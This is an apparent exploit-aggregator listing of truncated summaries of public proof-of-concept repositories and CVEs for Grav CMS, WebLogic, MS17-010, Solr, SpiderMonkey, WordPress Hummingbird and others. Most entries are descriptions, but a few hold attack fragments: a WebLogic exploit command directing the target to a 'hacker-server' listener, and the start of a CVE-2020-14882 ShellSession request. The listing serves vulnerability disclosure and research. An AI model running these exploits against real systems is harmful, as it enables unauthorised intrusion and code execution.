Grav-CMS-RCE-Authenticated

Grav CMS Remote Code Execution Autenticado - CVE-2024-28116 Información Este código es una adaptación delrepositorio de GitHub Graver con algunas mejoras basadas en este video. Exploit contra Grav CMS para versiones anteriores a 1.7.45 basado en vulnerabilidades SSTI + RCE, etiquetado como...

MAGNOLIA-8281

MAGNOLIA-8281: FreeMarker Restriction Bypass 2 en Magnolia CMS Un problema en el FreeMarker Filter de Magnolia CMS v6.2.16 y anteriores permite a los atacantes eludir las restricciones de seguridad y leer/escribir/mover/copiar/eliminar archivos arbitrarios mediante un payload de FreeMarker...

MS17-010

MS17-010 Este repositorio es para mi trabajo público sobre MS17-010. No tengo planeado dar soporte. Todos los problemas de soporte no recibirán respuesta de mi parte. Archivos BUG.txt Detalle del bug MS17-010 y algo de análisis checker.py Script para encontrar named pipe accesible...

CVE-2024-8381

CVE-2024-8381 Un error de confusión de tipos en el intérprete SpiderMonkey. Este repositorio contiene análisis en formato Markdown y diapositivas, incluyendo la causa raíz, el PoC y el exploit. Desafortunadamente, debido a la naturaleza de este error, el exploit solo es aplicable cuando ASLR está...

CVE-2017-0108

El componente de gráficos de Windows en Microsoft Office 2007 SP3; 2010 SP2; y Word Viewer; Skype for Business 2016; Lync 2013 SP1; Lync 2010; Live Meeting 2007; Silverlight 5; Windows Vista SP2; Windows Server 2008 SP2 y R2 SP1; y Windows 7 SP1 permite a atacantes remotos ejecutar código...

jvmtiAgentLoad-Exploit

Ejecución de código arbitrario mediante jvmtiAgentLoad Descripción: Herramientas y código para generar un JAR malicioso para explotar jvmtiAgentLoad Uso: root@kitploit: $ bash createjar.sh Usage: createjar.sh Supported TARGETOS options: linux|windows Objetivo Linux El siguiente comando genera un...

Unauthenticated-Remote-Code-Execution-RCE---Poultry-Farm-Management-System-v1.0

Título del Exploit: Ejecución Remota de Código RCE sin autenticación - Poultry Farm Management System v1.0 Fecha: 24-06-2024 CVE: CVE-2024-40110 EDB-ID: 52053 Autor del Exploit: Jerry Thomas w3bn00b3r Página del proveedor:...

CVE-2021-44909

CVE-2021-44909 Título del Exploit: orangescrum 1.8.0 - Ejecución Remota de Comandos RCE no autenticado Fecha: 03/12/2021 Página del proveedor: https://www.orangescrum.org/ Enlace del software: https://github.com/Orangescrum/orangescrum Versión: 1.8.0 Probado en: Windows 10 x64 usando XAMPP 7.4.23...

weblogic-cve-2018-2628

weblogic-cve-2018-2628 weblogic-cve-2018-2628-exp python2 weblogic-cve-2018-2628-exp.py targetip targetport ysoserial-0.1-cve-2018-2628-all.jar bindip bindport JRMPClient python weblogic-cve-2018-2628-exp.py weblogic-server 7001 ysoserial-0.1-cve-2018-2628-all.jar hacker-server 2333 JRMPClient ja...

CVE-2015-1635-POC

CVE-2015-1635-POC MS15-034 Script de detección de ejecución remota de código HTTP.sys MS15-034 script POC de ejecución remota de código HTTP.sys Coloca la IP a detectar en la línea 7 del código y luego ejecuta: python CVE-2015-1635-POC.py Coloca la IP detectada en la séptima línea del código y...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe root@kitploit: import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' ...

CVE-2020-13957

Apache Solr RCE CVE-2020-13957 Demo con Docker Demo en Mac Descripción de NVD CVE-2020-13957 NVD CVE-2020-13957 root@kitploit: Apache Solr versions 6.6.0 to 6.6.6, 7.0.0 to 7.7.3 and 8.0.0 to 8.6.2 prevents some features considered dangerous which could be used for remote code execution to be...

RCE-RealEstateVIDEOPOC

Este repositorio no tiene un README...

MAL-005

MAL-005: Zip Slip en la función Add Carbon Applications en WSO2 ESB Se identificó una vulnerabilidad de recorrido de directorios basada en archivos ZIP Zip Slip en la función de agregar "Carbon Applications" de WSO2 ESB. Se puede obtener ejecución remota de código escribiendo/sobrescribiendo...

pfBlockerNg-CVE-2022-40624

pfBlockerNg-CVE-2022-40624 Background pfBlockerNG is the Next Generation of pfBlocker with the following features: 1. Manage IPv4/v6 List Sources into 'Deny, Permit or Match' formats. 2. GeoIP database by MaxMind Inc. GeoLite2 Free version. 3. De-Duplication, Suppression, and Reputation...

MAL-003

MAL-003: Groovy Security Bypass and Stored XSS in Apache OfBiz A Groovy RCE and XSS have been identified in Apache OfBiz = 18.12.05. Why no CVE? Apache OfBiz does not create CVEs for "post-auth attacks done using demo credentials, notably using the admin user" as mentioned on their security page...

CVE-2025-55182-React2Shell-Exploit

Next.js React2Shell CVE-2025-55182 Expl0it Una herramienta de prueba de concepto para demostrar la vulnerabilidad crítica React2Shell CVE-2025-55182 / CVE-2025-66478 únicamente en entornos de pruebas locales y autorizados. ⚠️ ADVERTENCIA CRÍTICA: EXPLOTACIÓN ACTIVA USO LEGAL ÚNICAMENTE : Utilícela...

EUVD-2026-70902

The Hummingbird Performance WordPress plugin before 3.21.2 does not restrict a network-wide setting to network administrators, allowing an administrator of any single site on a multisite network to execute arbitrary code across the entire network...

CVE-2026-19224

CVE-2026-19224 affects the Hummingbird Performance WordPress plugin in versions prior to 3.21.2 . The vulnerability resides in the Hub Connector component, which fails to restrict a network-wide setting to network administrators , allowing any site administrator on a WordPress multisite network t...

CVE-2026-19224 Hummingbird < 3.21.2 - Admin+ Network-Wide RCE via Hub Connector on Multisite

The Hummingbird Performance WordPress plugin before 3.21.2 does not restrict a network-wide setting to network administrators, allowing an administrator of any single site on a multisite network to execute arbitrary code across the entire network...